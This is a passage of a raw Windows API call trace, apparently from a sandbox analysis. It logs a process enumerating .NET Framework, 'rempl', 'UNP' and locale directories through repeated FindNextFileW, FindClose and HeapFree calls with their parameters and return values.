ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709c717f, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0178.292] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0178.293] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709ed3a7, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709ed3a7, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0178.293] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0178.293] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709ed3a7, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709ed3a7, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0178.293] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0178.293] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0178.293] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709c717f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709c717f, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0178.293] FindClose (in: hFindFile=0x4532280 | out: hFindFile=0x4532280) returned 1 [0178.293] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0178.293] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709c717f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709c717f, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0178.294] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0178.294] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0178.296] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709ed3a7, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709ed3a7, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709ed3a7, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0178.693] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0178.693] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9093563c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df28692, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6df4e8ff, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x63000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0178.694] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0178.694] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70a5faff, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0178.695] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0178.695] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0178.696] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0178.696] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70a5faff, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0178.697] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0178.697] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0178.699] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709ed3a7, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70a5faff, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70a5faff, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0178.699] FindClose (in: hFindFile=0x4531f80 | out: hFindFile=0x4531f80) returned 1 [0178.699] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0178.699] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709ed3a7, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709ed3a7, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709ed3a7, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0178.700] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0178.700] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0178.700] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xecda67f6, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xecda67f6, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="rempl", cAlternateFileName="")) returned 1 [0178.702] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0178.702] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76938800, ftCreationTime.dwHighDateTime=0x1d2e919, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x76938800, ftLastWriteTime.dwHighDateTime=0x1d2e919, nFileSizeHigh=0x0, nFileSizeLow=0xf2c, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="rempl.xml", cAlternateFileName="")) returned 1 [0178.703] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0178.703] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xa747e827, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2709a20, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0178.706] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0178.706] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xece19101, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece19101, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UNP", cAlternateFileName="")) returned 1 [0178.818] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0178.818] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa772ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0178.820] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0178.820] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa77fb761, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES", cAlternateFileName="")) returned 1 [0178.823] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0178.823] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78433f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES-valencia", cAlternateFileName="CA-ES-~1")) returned 1 [0178.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0178.825] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78fe34b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0178.828] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0178.828] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa795f898, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0179.104] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.104] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79714a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-AT", cAlternateFileName="")) returned 1 [0179.106] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.106] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79bb5f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-CH", cAlternateFileName="")) returned 1 [0179.108] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.108] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0179.110] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.111] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0179.113] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.113] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-AU", cAlternateFileName="")) returned 1 [0179.115] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.115] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-CA", cAlternateFileName="")) returned 1 [0179.116] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.116] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0179.121] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.122] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-HK", cAlternateFileName="")) returned 1 [0179.123] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.124] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ID", cAlternateFileName="")) returned 1 [0179.126] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.126] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IE", cAlternateFileName="")) returned 1 [0179.128] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.128] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IN", cAlternateFileName="")) returned 1 [0179.130] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.130] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-MY", cAlternateFileName="")) returned 1 [0179.135] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.135] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-NZ", cAlternateFileName="")) returned 1 [0179.309] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.309] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-PH", cAlternateFileName="")) returned 1 [0179.314] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.314] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0179.318] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.318] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ZA", cAlternateFileName="")) returned 1 [0179.326] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.326] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-AR", cAlternateFileName="")) returned 1 [0179.332] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.332] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CL", cAlternateFileName="")) returned 1 [0179.335] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.335] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, 